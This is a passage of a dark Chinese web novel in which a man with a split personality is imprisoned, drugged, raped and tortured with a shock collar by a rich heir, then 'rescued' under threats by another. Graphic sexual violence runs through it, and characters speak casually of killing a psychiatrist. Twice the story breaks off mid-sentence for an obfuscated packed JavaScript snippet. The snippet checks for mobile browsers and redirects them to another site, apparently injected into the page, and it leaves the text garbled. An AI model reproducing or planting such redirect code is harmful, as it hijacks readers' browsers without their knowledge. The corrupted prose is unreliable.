会被同化么,变成彻底的疯子,亦或是怪物。 …… 郁杉脱离意识世界清醒过来时,房间里还是一片黑暗,但时间似乎已经过去了很久。 他被折脱臼的双臂已经被接了回去,左腿的锁链被取了下来,右腿也打了石膏。 郁杉动了动手指,大概是昏睡过程中宗寰又给他注射了麻醉剂的缘故,他身上没有什么力气。 有些渴…… 但他甚至没有叫喊的力气,郁杉只能安静地在黑暗中等了很久,时间像静止了般难熬。 郁杉看过齐蹊那儿的一些心理学书籍,他觉得自己在这种环境下应该焦躁恐惧的,但他似乎生不出什么太强烈的情绪。 除了有些怕齐蹊担心……不知道现在时间过去多久了,一天还是两天?齐蹊应该在到处找他吧。 门开了,渗进的光线破开了黑暗的囚牢。 宗寰像是掐着郁杉生理反应极限的点儿般,带着杯水走了进来。 焦渴的生理欲望让郁杉的视线紧紧锁在那杯水上,连眼角的余光都没留给宗寰分毫。 宗寰倒也没借此为难郁杉,他坐到床边扶起郁杉,将杯中的水喂给郁杉。 水是苦的,掺了不知明的药物。 喝了一口的郁杉皱了皱眉,声音微弱地说:“里面放了什么?” “安眠药。”宗寰倒也不掩着,他笑了笑,“自己乖乖喝,还是我强行灌下去?” 郁杉沉默了一瞬:“喝完可以给我一杯正常的水吗?” “可以。”宗寰挑了挑眉,诧异郁杉过于乖顺的表现。 郁杉低头将宗寰手中的水喝掉,宗寰看着郁杉蹙着眉小口小口吞咽的模样,莫名觉得心痒,他伸手轻拭掉郁杉嘴角的水渍。 郁杉抬眼看向宗寰,轻声说:“我可以问一下,你关我几天了吗?” 宗寰微怔,旋即笑了起来:“几天?这才过去十六个小时罢了。郁寒呢?他不管你吗,就让你这么熬着?” 才不到一天吗……郁杉意识恍惚了一瞬,他定了定神,平静地回答说:“如果你想见他怕是不太行,我和郁寒打了一架,他现在比我还虚弱。” 宗寰一顿,转念又觉得不对,他颇觉古怪地问:“你压制得住郁寒?” 郁杉听出宗寰语气中的轻视,他只敛了敛目光,将话题回转:“水。” 宗寰起身去屋外倒水,郁杉隐约窥见了屋外的光明,他攒了攒力气,思考着麻醉剂和安眠药的药效熬过去后他逃跑的可能性。 宗寰回来的很快,他将水递给郁杉,郁杉没接,像是连抬手的力气都没有。 宗寰眯眼笑着,将水像刚才一样喂给郁杉:“我刚刚没别的意思,只是想提醒你郁寒可能在故意示弱,他向来惯爱作戏。” 郁杉不答,他只觉得眼前这杯清水格外的甘甜。 倦意很快卷袭上来,想尽可能降低宗寰戒心的郁杉半阖上眼睑,姿态虚弱地打探消息:“我现在在外面是失踪了还是合理性消失了?我有个朋友,如果一直找不到我很可能会报警。” “齐蹊是吗?我今天都查过了,你身边居然只有这一个算得上朋友。”宗寰从衣兜里拿出郁杉的手机,捏在拇指与食指间转了转,“我用你的手机给他发了条你出远门旅游的短信,他爱信不信,反正他也不可能找得到你。” “齐蹊这名字倒是挺耳熟,好像是个很有名的心理医生?我记得郁寒挺讨厌他的。”宗寰语气随意。 但郁杉察觉到了宗寰的试探,他只淡淡地扫了眼近在眼前的手机,然后困顿地在宗寰怀中睡了过去。 宗寰轻轻挑起郁杉的脸,映着屋外透进来的微弱光线,宗寰看到了郁杉此刻苍白虚弱的神色。 像是一撕就碎的薄纸, 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屋内的空调温度似乎打得有些低,宗寰觉得有些冷,还有些不安,他将床上的薄被扯过搭在郁杉的身上,望着郁杉的睡颜出神。 他原本想要郁杉主人格因为自己唯一的好友齐蹊所开的药物而消失,他总是喜欢见证这样戏谑的苦难。 但如果出现偏差误使郁寒消亡的话——宗寰窒息了一瞬,他心脏像是漏了一拍般慌悸。 回过神的宗寰讽笑了一下,原来坏事做多了,也有害怕恶果落在自己身上的时候么。 …… 郁寒抱住睡颜安然的郁杉,将人紧紧圈在怀里。 他此刻有些混沌的意识莫名的刺痛,整个人都处于被撕扯割裂的崩溃边缘,最让他恐惧不安的是,他生出了他会离开郁杉的错觉。 这简直是,完全无法忍受的事情。 意识迷朦的郁杉被郁寒闹得蹙了蹙眉,他推了推郁寒,冷声说:“做什么?” 郁寒难耐且不安地抱着郁杉亲了又亲,他嘴里一遍又一遍地重复着:“郁杉,你永远都不可能离开我。” 郁杉顿了顿,他抚摸上郁寒的脸,疏离漠然的目光像在审视什么有利的武器。 郁杉破天荒地笑了笑,言语安抚:“不离开。” 郁杉回抱住郁寒,凝拢的目光有些认真地说:“郁寒,我不想被人关着。” 郁寒心神微动,他看到郁杉恳切的目光,知道郁杉想表达什么,郁杉想他带他逃离宗寰。 诚如他了解郁杉一样,郁杉也了解如何拿捏他的心思,郁杉这副姿态几乎瞬间就让他动摇原本用囚禁驯化郁杉的心思。 在戏弄调逗之下,保护郁杉才是郁寒刻入灵魂的本能。 郁寒目光闪烁,他凑上去舔着郁杉的耳垂,半哄着说:“可是我们身上有伤,暂时逃出去的可能不大,先忍忍吧,我找找机会。” 郁杉目光微敛,他捧起郁寒的脸吻了上去。 像诱哄,像献祭。 郁杉轻声说:“郁寒,我无法忍受被别人关着。” 郁寒怔在那里,失控的情绪在他意识中炸裂开来,平息了先前让他恐慌烦躁的刺痛,却如同更猛烈更汹涌的风暴让他完全难以冷静。 郁杉贴在他耳边轻语的声音清晰而暧昧:“……郁寒,你带我私奔吧。” 9. 一笔勾销 郁寒意识中崩着的那根弦彻底断了。 郁寒退开了半分,他紧紧盯着郁杉,那是一张和他一模一样却从来都神色冷漠的脸,此刻这张脸上却露出了他久违的浅笑。 郁寒恍惚间几乎快以为,郁杉这句暧昧的“私奔”不是玩笑,而是爱侣间认真的誓约。 如果此刻郁寒的意识掌控着身体,他一定能够清晰地听见自己心脏狂跳的声音。 如果这又是一场关乎人格意识体生死存亡的精神对弈,那郁寒知道自己又输了,如两年前一样,输得彻彻底底。 为郁杉而诞生的他,就算表现得再恶劣放荡、再疯狂不羁,也会永远因为郁杉,丢盔弃甲。 郁寒抬轻碰了碰郁杉那双溢着笑意的眼睛,他憋了半晌,才愣愣地开口:“再……再亲一下。” 郁杉鸦黑的睫羽微颤,他脸上的笑意淡了几分,抱住郁寒的手却微微收紧:“带我走,之后随便你亲。” 但郁寒根本没听郁杉在说什么,意识中灼热的风暴将他理智搅得粉碎,他直接将人摁在身下疯狂索吻起来。 一整个被郁杉撩燃的郁寒失控地品尝着主动向他献祭的祭品,他手一路向下从颈脖抚摸到郁杉胸腹,竭力撩拨着神色淡然的郁杉。 在郁杉第一次没有反抗的默许态度下,郁寒更加放肆起来。 郁杉逐渐迷离的眼神中掩下幽然的冷光,他随着郁寒的亲吻和撩拨放纵地低声呻.吟起来。 有些青涩、生硬,带着刻意的蛊诱。 但郁杉细碎情动的低吟声对郁寒而言无疑是一剂猛药,郁寒的动作僵了僵,一时间只觉得郁杉此刻的声音烫得他面红耳赤。 郁寒松开郁杉柔软的唇,意犹未尽地舔了舔嘴唇上残存的气息,闪烁的目光如同盯着鹿肉的豺狼。 “宝贝,你叫得真好听。”郁寒语气兴奋轻佻,这一次却没有羞辱戏弄的意思。 郁寒手捏在郁杉的腰肢上将人半捞起,他用膝盖强行顶开郁杉的双腿,让腰身半悬空的郁杉无力可支,只能被迫将他拥抱得更紧。 郁寒这强势的姿势,像是想将郁杉一整个嵌入自己的灵魂里,他厮咬着郁杉的耳垂:“把你亲哭出来好不好?” 郁杉缓了缓神,略有些迟顿的意识像是丝毫没有察觉这个姿势危险难堪,他紧紧抱着郁寒,双腿为了着力下意识缠上了郁寒有力的腰肢。 郁杉在郁寒饥渴的目光中将自己主动送上去,他用唇舌堵住了郁寒想继续说荤话的嘴。 被分裂成两半的残缺灵魂依靠亲吻而让彼此交融成一体,他们拥抱纠缠着共同坠进这让人沉沦的爱意深渊。 郁杉和郁寒意识共感,他们残缺分裂的灵魂都感受着双倍的悸动和欢愉,但被亲吻到面色醺红迷离的郁杉眼底却清明疏冷得可怕。 寡情的纵欲者永远不会真的迷失在爱欲里。 所有的欲望、挣扎、冲动都只会加诸在郁寒身上,他本来就是被郁杉摒弃的负面情绪的集合体。 被情绪影响的只有郁寒,越发失控的也只有郁寒。 他猩红着眼撕食啃咬着发颤的郁杉的唇,像是要连同郁杉细碎的呜咽声都吞食入腹。 郁杉觉得自己似乎真的哭了,但他抬手还没来得及碰到眼角的眼泪,泪珠就已经被郁寒轻轻吻掉了。 “是甜的。”郁寒盯着郁杉潮红漂亮的眼角说。 郁杉不置可否地笑了笑,意识世界里的眼泪是没有味道的,无非是郁寒认为是什么味道就便成了什么味道。 眼泪不会是甜的,但让残缺的灵魂短暂相融的亲吻是。 郁寒覆在郁杉身上沉沦了很久才抽身坐起来,爽完了的郁寒餍足地舔着唇,他此刻己经从郁杉刻意的蛊惑中回过味来。 郁寒捏住郁杉的下颔,看着被他亲咬肿了的红唇,目光幽暗。 郁寒咽了咽口水,似笑非笑地问:“我清冷禁欲的郁教授什么时候学得这么坏了,都会勾引我了?” 被折腾了很久郁杉眼神像是有些涣散,他对上郁寒探究玩味的目光,避而不谈地说:“郁寒,我们之间的事我们自己解决,别再容许别人欺负我了。” 郁寒感受到郁杉摆在明面上的利用之意,他心中微沉,却只敛了轻佻的神色,应道:“好。” 从来只有他郁寒玩弄利用别人的份,如今终于也轮到他被人当枪使了,但他似乎心甘情愿。 他利用宗寰设的这场局从始至终都只是想郁杉对他服软对他依赖,四舍五入现在也算达到目的了,只是意料之外的弄丢了主动权。 郁杉得到郁寒承诺后态度很快冷淡下来,他过河拆桥般地推开坐在他身上的郁寒,说:“外面是你自己招惹出的麻烦,你自己解决。” 郁寒从失控中冷静下来的意识一抽一抽地疼,他此刻的精神状态其实不算好,往常郁杉摆出这副姿态,郁寒一定会将人压在身下好好教训一顿,但他现在却顿在那里,心绪复杂。 他甚至在反思,用宗寰威吓郁杉这件事,或许真的是他做的太过了。 郁杉对上郁寒没有恼意反而深情到病态的目光,疏漠的眼神有一瞬的躲闪。 他错开目光说:“宗寰喂我们喝的水里不只有安眠药,那里面放着的特殊精神药物两年前你消失时齐蹊给我吃过。那种特殊的苦味,我喝第一口时就认出来了。” “郁寒,宗寰是真的想我消失。”郁杉顿了顿,轻声说。 郁寒目光猛得凝缩,他半晌后勉强扯出一个笑,却冰寒得没有任何安抚的效果:“是我的错,我会解决的,没有谁可以把我们分开。” 郁杉眸光微敛,他知道,宗寰完了。 郁寒脱离意识世界,身体里麻醉剂和安眠药残留的药效让他有些乏力,他刚缓缓支起身子,便听到了锁链扯动的声响。 黑暗中无物视物,郁寒碰了碰一只打了石膏一只锁了链子的腿。 郁杉先前都那样示弱了,郁寒没想到宗寰还对他抱有这么重的戒心。 郁寒皱了皱眉,摸索着想去找可以弄断链子的工具。 凌晨才从“醉梦”回来的宗寰身上带着些酒气,他刚走进客厅就听到调.教室里连接传来巨大且刺耳的金属撞击声。 宗寰先让自己冷静些后,才将手中原本带给郁寒的酒随手放在客厅茶几上,转身推开了调.教室的门。 门外映进的暖白色光线投落在郁寒身上,微弱的光影错落,映得郁寒面容稠丽苍白得像是什么精致绝伦的妖魅,系在他脚腕的银色锁链泛着清冷的寒光,让他像是被锁于囚笼的月光精灵,让人无端生出禁忌的欲望。 宗寰喉结滚动,如果不是郁寒此刻一直在用着什么东西暴力劈砍着银脚链,这一幕大概会是幅极美的艺术品。 郁寒侧头看了眼站在门口半晌的宗寰,终于停下了手中劈砍脚链的动作,他语气嘲弄地说:“你晚上不出去鬼混吗?怎么回来这么早。” 听这熟悉的语气,宗寰悬了一晚上的心落下了半分,他颇有些戏谑地说:“郁寒,你逃跑的动静能不能别搞得这么明显?难不成是等着被我逮到,然后想上演一段虐身虐心的调.教戏码?” “滚蛋。”郁寒语气异常躁戾。 宗寰抬手打开了屋里的灯,华美的琉璃吊灯瞬间洒落璀璨的碎光。 宗寰看清郁寒手里拿着的水果刀折射着晃眼且危险的银光,他皱了皱眉:“你哪儿来的刀?” “从床头柜里翻出来的,你那柜子可真是个百宝匣。”郁寒语气讽刺,他猛得拽了拽只被水果刀劈砍出一点点划痕的锁链,链子意料之中没有任何松动的迹象。 想到柜子里的东西,宗寰压下去的酒意有些上浮的迹象,他神色一时间有些微妙:“柜子里的东西你全都看见过了?” “看见了,怎么了?你宗大少爷玩儿得花不是谁都知道的事吗?”郁寒神色烦躁地丢开手里的链子,他转头看向面色微醺的宗寰,愠斥道,“赶紧把这破链子给我解开,拴狗呢你?” “怎么发这么大脾气。”宗寰有些奇怪,他迎着郁寒阴戾的目光走过去,他的身影挡住灯光,将郁寒一整个笼罩住。 宗寰伸手扯了扯郁寒脚上的锁链,笑着说:“自行走入牢笼的不是你吗?不是连我囚禁你这一步都是你顺势而为的算计吗?” 郁寒目光一冷,手中的刀反手就捅入宗寰腹部。 药效还没完全过,郁寒手上没什么力气,这刀捅得不算致命,宗寰只是完全没想到郁寒会真对他下重手,他笑容瞬间冷了下来,旖旎的醉意褪得干干净净。 宗寰阴沉着脸,他一手捂着捅入腹部的刀,一手将郁寒握着刀柄的手指一根一根掰开:“郁寒,我今天死这儿了,你就算被关到尸骨腐烂都没人救你。” 鲜血从腹部疯涌出,宗寰扫了一眼郁寒手上沾染的血迹,寒声问:“我哪里亏欠你了,你居然真想对我下杀手?这才一天就关傻了?你考虑清后果了吗?” “宗寰,不是你先想杀我的吗?”郁寒抬眼对上宗寰的目光,讽笑地说,“你在晚上那杯水里放了什么?” 暴怒的宗寰神色一僵,面上似乎更苍白了些,他退开来将刀抽出,然后随手丢在柔软的地毯上,血污浸了满地,看得人触目惊心。 郁寒看着宗寰做了些简单的止血处理,并且平静地拨了急救电话,却迟迟没回答他的话。 简单处理了伤势的宗寰看向郁寒,冷声说:“一杯而已,死不了。” 他不会愿意承认他的过错,也不会愿意让郁寒窥晓错误发生后他借酒买醉掩下的慌悸。 “一刀而己,死不了。”郁寒冷笑着,将宗寰的话回敬回去,“又没往心脏捅,最多伤到肾,让你往后做不成风流公子哥了。” 宗寰气笑了,他看着不知死活的郁寒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238658|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顾再次扯动的伤势,将挣扎的郁寒摁在床上。 除了打了石膏的那条腿,郁寒的手脚都被拴上银色锁链,挣脱不得。 他盯着发疯的宗寰,目光平静地说:“你现在放开我,我们的债今天这一刀后一笔勾销,我们往后还是朋友。” 宗寰揪住郁寒的领子将他拎起,神色失控:“债?郁寒,我欠你什么?从头到尾都是你在利用我!是你欠我,你拿什么跟我一笔勾销?!” 半悬空的昏眩感让郁寒作呕,他恹恹地闭上眼说:“利用?宗寰,我的算计不都恰合你心意,你也得了报酬和甜头,这个时候反咬我一口?” 宗寰平静地松开手,他看着郁寒重摔回床上,仿若在那一刻,他的心脏也从高处摔落般。 宗寰勾了勾唇角,面上挂上了轻佻散漫的面具,言语却无端让人生寒:“郁寒,对付你这种没有心的家伙,我果然还是太心软了。” 郁寒突然感觉脖间一凉,宗寰给他套上了一个金属项圈,他只轻轻挣动了一下,项圈便释放出一道电流让他疼得直冒冷汗。 “这是什么?”郁寒不适地仰着脖子,血管密集处带来的敏锐而刺激的痛感让他声音都发着抖。 “不是说柜子里的都看到过了吗?我们挨个儿试试。”宗寰看着身体一整个僵住的郁寒,他伸手捏住郁寒的腰肢,将手上浓艳的血迹涂抹在郁寒身上。 “我向来礼尚往来,你昨晚送了我个艳红色的项圈,便还你个铂金的。”宗寰用擦干血迹的手轻碰了碰自己脖子上的掐痕,另一只手把玩着狰狞的物件儿,他意味不明地笑着,“你今天捅了我一刀,你说我该怎么还你?” 下一瞬,郁寒身下传来身体撕裂的痛楚,剧烈的疼痛蔓延到腹部,郁寒紧咬着唇,面色惨白,他疼到近乎昏厥,不过是下意识地挣动了一下,项间的电流便瞬间让他没了任何挣扎的力气。 宗寰还想再取什么折磨人的玩意儿,屋外突然传来急促的门铃声,应该是被他那通急救电话招来的。 宗寰扫了一眼狼狈痛苦的郁寒,淡笑着说:“你最好祈祷我这伤能快些处理完回来,不然你可就要一直这样熬着了。” 郁寒掀了掀疲乏的眼睑,平缓的声音竭力压抑着痛苦:“宗寰……我两年前会突然消失,就是因为郁杉一直吃齐蹊开的那种特殊精神药物。” 听到这句话,捂着腹部大出血的伤口艰难走到门口的宗寰脚步微顿,他立在门口很久才回过神。 宗寰沉默着,最终还是将手上加大电流和震动频率的调控开关揣回了衣兜。 宗寰看着郁寒浑身发颤的痛苦模样,像是怕郁寒真被折磨死掉,他折返将郁寒的手机放在了床头柜上。 像是在给予郁寒不可能触及的生机和希望。 宗寰闪烁的目光幽暗不明,他开口给了句郁寒几乎不可能做到的许诺:“你今天要是有能力逃出去,我们的债就一笔勾销。” 郁寒没有力气再说话,他闭上了眼睛,身体的剧烈疼痛甚至让他无法强迫自己用昏睡来逃避。 房间重新暗了下来,郁寒听到了宗寰关门落锁的声音。 “郁寒。”安静看着这一场闹剧发生的郁杉轻声喊着郁寒的名字。 他被郁寒安置在重铸起的精神世界,将所有的痛苦隔绝在外,但郁杉只稍微用意识去感知了下身体的情况便被那钻心噬骨的疼痛吓了回来。 “我没事。”郁寒过了很久很久才回应郁杉,他倒抽着气强扯出一个安抚的笑,“别怕,我还要带你私奔啊。” 郁杉沉默,他算不上心疼郁寒,郁寒不过是自食恶果。 许久都安静不动的郁寒像是在攒着力气,他突然不顾项圈的惩戒电流,左手扯住右手手腕上的锁链,双手同时猛得用力挣动,以右手拇指骨折为代价将右手解脱出来。 身体钻心的痛楚和电流的麻痹几乎让郁寒瞬间失力,他身上疯狂冒着冷汗,胸膛微弱的起伏像是下一秒残延的气息就会断掉。 郁寒缓了很久,抬手去够床头柜的手机,被宗寰放在床柜边缘的手机被郁寒打翻。 手机掉落的瞬间,郁寒呼吸骤停,他反应迅速地将手机接住,艰难地夹在食指和中指间。 在手机即将从指缝间滑落的前一刻,郁寒忍着痛将近乎失力的手收了回来。 手机的光屏在黑暗的房间中亮起,眼前被刺目白芒覆住的郁寒深吸一口气,凭直觉划开通讯录随便拔了通电话。 “喂?”电话那头是个磁性低沉的男声,语气像是有几分诧异。 听着熟悉的声音,郁寒松了半口气,还好,是个能救他的人。 郁寒声音极其虚弱:“石泽毅,宗寰把我关起来了……他刚被我一刀捅进了医院,你来他家给我收个尸,我他妈快被他弄死了。” 对面明显惊愣了一瞬,石泽毅沉默了片刻,沉声应道:“好。” 10. 自投罗网 宗寰名下的房产很多,郁寒想报详细些的位置,但他回想了想他家公寓对面小区的名字,却实在没有印象。 身体神经被短暂忽视强压下的剧烈疼痛反噬般地爆发上涌,几乎占据了他此刻全部的意识,像是在将他施以极刑,郁寒己经快没了思考的心力。 “是这两年新开发的楼盘,寰宇集团的大手笔。”郁杉冷静淡然的声音适时在脑中响起,“你可以告诉他在市区二环的星湖北路,或者直接说在我们公寓对面。” 郁寒缓了缓想开口,但两天没充电的手机突然弹出电量耗尽的提示,随后便黑屏关了机。 求救的通迅被迫断掉后,归于寂静的房间只剩下郁寒虚弱的呼吸声,郁寒整个人快被疼痛折磨到虚脱。 “没事,石泽毅找得到的。”明明呼吸都费力,郁寒此时还宽慰地安抚着郁杉。 电话另一端的石泽毅听着手机突然的盲音,那双黝黑如墨玉的眼中闪过微芒,他迅速让人去查宗寰是否进了医院,一边让人锁定郁寒刚刚那通电话的ip地址。 石泽毅赶到宗寰家已经是半个小时后了,但宗寰的家不是他想闯就能闯的,他只好先以宗寰好友的身份说帮宗寰回来拿一份重要文件,然后诓骗物业用备用钥匙打开门锁。 看着物业的管事给宗寰拨了几个电话都没拨通,石泽毅佯装时间紧促地看了看腕表,他不出声催促,但强大的气场压得管事冷汗直冒。 物业管事最后还是迫于恐怖的低气压,颤颤巍巍地开口:“那个,我这边一直联系不上宗少,石少您先在这份备档记录上签个字,我先帮你开门。” “嗯。”石泽毅冷厉的目光微垂,在备档上签下自己的名字,他的表情像是因为他金贵的时间被白耗而有些不悦。 还算有眼力见儿的物业管事连忙赔笑,他搁下手中繁琐的申请审批,逾矩地给石泽毅开了门。 石泽毅面色平静,在物业管事紧张的陪同下走进客厅,他一眼看到了那杯搁置在案几上的橘红色鸡尾酒——科罗娜日出,郁寒以前很喜欢的一款酒。 目光环扫,石泽毅凭着敏锐的直觉去开次卧的门,但把手拧不开,门额外落了锁。 收到石泽毅扫来视线的物业管事大汗涔涔,他紧张地说:“这宗少家里的卧室门我们物业也没钥匙,真没法子打开。” “那就难办了。”石泽毅皱了皱眉,语气有些惋惜。 下一瞬,在物业管事惊愕恐慌的目光下,石泽毅连接几脚强行踹开了门。 屋里一片漆黑,石泽毅没急着进去,他扫了眼客厅四角的微型监控,侧头对一旁神色惊变的物业管事告戒道:“接下来你看到的任何事情要是从你口中泄露出去一个字,不用我出手,寰宇集团就会急着让你永远消失。” 石泽毅打开了次卧的灯,一旁鬼使神差跟进来了的物业管事惊在原地。 映目是一个手脚被锁链绑住半蜷在黑色大床上发着抖的青年,他衣杉凌乱雪白的肌肤上有明显的性凌虐痕迹。 画面的冲击感太强烈,物业管事甚至没注意到地毯上同样触目惊心的血迹,直到石泽毅弯腰隔着手帕捡起那把浸血的水果刀时,他才惊厥般地回过神。 “这、这……我在公司群里见过这人的照片,说是宗少的、的爱人。”物业管事说话声音有些不自然地发颤,“宗少发话说没他的准许不许放人出小区。” “你再多说一句……你猜明天的新闻头条标题是‘A城太子爷宗寰爱而不得非法囚禁知名大学教授’,还是‘寰宇集团继承人宗少囚养□□玩辱至残’?”石泽毅冷声道,他将水果刀上的血渍擦了擦收了起来。 物业管事瞬间噤了声,他知道自己被骗了,石泽毅毅根本不是帮宗寰拿什么重要文件的,他恨不得自己现在没跟来没撞破这些财阀辛秘。 石泽毅看着对他的到来没什么反应的郁寒,皱了皱眉头,郁寒的眉头紧拧面色苍白痛苦,身体的痉挛颤抖一直没停过。 “过来帮忙解下链子。”石泽毅弯腰扯了扯束在郁寒手腕上的锁链,对一边呆站在原地的物业管事说。 疼到意识混沌的郁寒无力地扯了扯石泽毅的衣角,他虚弱的声音微若蚊吟:“项圈……先把项圈解开。” 石泽毅低头仔细看了眼郁寒颈项上的金属项圈,他伸手想去拨弄锁扣,却被一道电流电得指尖一疼。 石泽毅面色平静地收回手,他看着项圈坠着的金属铭牌上刻着的“寰”字,沉声说:“这上面有电子芯锁,暂时解不开。” 郁寒抓着石泽毅衣角的手松开,他咬着唇暴了个粗口,深邃如星的眸子蒙着一层水雾:“艹,那先帮我把身体后面的东西取出来。” 石泽毅从没见过这副弱态的郁寒,他目光闪烁下移,郁寒身上只套着一件深色长衬衫,石泽毅这才注意到郁寒身下泥泞的血迹。 物业管事倒抽了一口凉气,石泽毅一记冰冷的眼刀剜过来,他瞬间知事地挪开了眼。 “管好自己的眼睛,知道什么该看什么不该看。”石泽毅语气冰冷,扯过薄被裹住郁寒的身子。 “……艹,石泽毅,你别、别动我。”被拉扯牵动的郁寒口中泄出痛吟,他声音发颤,“一动这项圈就他妈会有电流。” 石泽毅伸到薄被下的手微顿,他抽回手去解郁寒脚脚上的锁链,但链子相连处坠着一把精密巧致的银色金属锁,完全不是他徒手能弄开的。 石泽毅叹了口气:“宗寰还真是把你锁得够死。” 石泽毅侧过头,对一旁走也不是上前也不是的物业管事说:“去找能钳断铁链的工具。” “这、这……”物业管事的声音比郁寒还抖。 “宗寰今晚回不来,但这里都有监控,你注定会被宗寰处理掉,这整个A市能在宗寰手下保住人的也只有我了,还想谋条出路就照我说的做。”石泽毅冷厉的气势逼人。 屈从于石泽毅威逼利诱的物业管事跑着出了房间,果断回物业部找工具箱。 石泽毅手探到薄被里,沉声说:“我帮你取出来,忍着点儿。” 撕裂的疼痛让郁寒咬唇闷哼着,他整个人抖着一团,半晌后他紧绷的神经才松了下来,郁寒咬牙切齿地说:“我捅宗寰那刀真是太轻了。” 石泽毅手上沾了浑浊的血迹,他眼神暗了暗,看向稍微缓过来些的郁寒,问道:“不是都不辞而别两年了吗?怎么又突然跑回来自投罗网?” “宗寰对你的心思你不知道?还敢在跑了两年后回来招惹他?”石泽毅已经大体查到了这两天郁寒和宗寰间发生的事,“驯不住的疯狗是会咬死人的。” 郁寒深呼了几口气,他额间全是细汗,神色狼狈苍白,但说话的语气却恢复了那副散漫轻佻的样子:“啧,原本以为两年前我会永远消失,没打算再出现了。” 石泽毅目光微缩,他面上没露出异样,只是语气好奇地问:“那又为什么回来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238659|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁寒嘴角一撇:“我再不回来,媳妇儿都要跟仇人跑了。” “?”石泽毅目光疑惑。 “郁杉想跟一个叫齐蹊的傻逼心理医生在一起,活生生把我的意识从沉眠中气醒。”郁寒闭了闭眼睛,语气躁戾,“郁杉跟谁在一起都不能跟齐蹊在一起。” “不,我不许郁杉跟任何人在一起。”郁寒倏然睁开了眼,目光是与此刻虚弱模样截然相反的森然。 “齐蹊啊……还挺有名的,这种碍眼的家伙处理掉就是了。”石泽毅笑了笑,话中带着对人命的漠视。 郁寒瞬间封锁了精神世界对外界的感知,他不想郁杉听见他的话。 郁寒看向石泽毅,冷声说:“我本来就打算杀了齐蹊,我会回来找上宗寰本意是想依靠宗家的庇护避免齐家的报复,齐蹊和我这无父无母的孤儿不一样,齐家也算是大世家了。” “那为什么不来找我。”石泽毅面上的笑意浅淡了几分,“我不也一样能保你。” “你比宗寰还危险,像你这种吃人不吐骨头的角色,我怕求到你头上会被剥骨脱皮吃个干净。”郁寒眯了眯眼睛,言语出奇得坦率。 “当着我面说我坏话,不怕我现在掉头就走吗?”石泽毅挑了挑眉,“你现在不还是求到我头上了,不怕我吃了你?” 石泽毅顿了顿,目光从禁锢郁寒的锁链上扫过:“而且……就你现在这副模样,简直任我摆布。” “别吓我,你现在对我下手我可真的会死。”郁寒被石泽毅的目光盯得身子僵了僵,他虚弱的气息微乱,像是下一秒就会断掉。 “我又不是没玩儿死过人,宗寰寻刺激的这些东西可都是我玩儿剩下的。”石泽毅看着丢在一旁沾了浑浊血迹的狰狞器具,语气带着若有若无的威吓。 郁寒状似紧张地咽了咽口水,但只绷了片刻便笑出声来,他语气轻浮:“石泽毅,你要是真想我死在宗寰床上,就不会费这么大力气过来。” “救不救?不救你走就是了,我还没到非求你不可的程度。”郁寒毫无惧色地对上石泽毅幽暗危险的目光。 “是吗?”石泽毅拖长疑问的语调,“你把宗寰捅进了医院这件事,宗寰不会声张,但我手上有留着你指纹的物证和你自供伤人的通话录音,我要是把这些交给宗家……” “你确定没到非求我不可的程度吗?”石泽毅似笑非笑地说,“确定的话,我可以让事情再严重些。” “你石泽毅果然从不做人事儿。”郁寒错开和石泽毅对视的目光,他嘲弄地说,“救我,求您。” “郁寒,你求人就这态度?”石泽毅目光微寒,扯了扯链子猛得拽动郁寒的脚腕。 因为动弹被项圈的惩戒电流折磨得神经痉挛的郁寒神色痛苦,橘色的灯光映在他颤抖的睫羽上,投落出纤长的阴影。 郁寒眼角溢着生理性的眼泪,给清冷稠丽的面容点缀了凌虐的艳色。 郁寒知道自己这副模样有多招人,他听到石泽毅微微急乱的呼吸时,气结得快要炸毛,妈的,他自己都没得看,尽给别人占便宜。 郁寒咬着牙怼道:“滚蛋,老子不用你救了。” “郁寒,你迟早有一天会死在你这张嘴上。”石泽毅语气微冷,“不用我?你是觉得谁还能救你。” “没关系,我谁都不用,石泽毅,在利用价值上,你很多时候远不如宗寰。”郁寒高仰着颈脖,像引颈就戮的高贵天鹅般诱人。 11. 共坠地狱 石泽毅目光从郁寒套着银色金属项圈的颈脖上扫过,纤长脆弱得像是一折就断,石泽毅心里有些躁,他俯身捏住了宗寰的脖子。 真漂亮,好想弄断。 石泽毅的目光暗了暗,感受到手上传来项圈释放的电流的酥麻痛感,石泽毅一瞬间施虐的欲望到达了顶端,他手上的力道不自觉地收紧。 郁寒像是全然没有察觉到迫近的生死威胁,他任由石泽毅掐着,像是害怕项圈的电流而不敢挣扎,只有些难受地咳了咳,那张苍白的脸上因为缺氧迅速染上一层薄红。 像是扼住白天鹅的长颈将纯白的羽毛浸没在鲜红的血渍里,濒死的美感惊心动魄般绚丽绝艳。 “……石、泽、毅。”郁寒沾泪的睫羽微颤,他有些艰难地开口。 被郁寒的声音拉回心神的石泽毅猛得松开了手,他眼中失控的情绪明明灭灭。 石泽毅的脸色很差,他看着郁寒冷声说:“即然你觉得宗寰比我有价值,那我走了,你自生自灭吧。” 重获氧气的郁寒急促地喘息着,他缓了缓说:“我刚刚什么都看不清,不过随手点了个号码,你说怎么就刚好打给了你,荀越、盛见誉、楚邃哪个不比你靠谱。” 他存心气石泽毅,但他知道别人救不了他,也知道石泽毅今天一定会带走他。 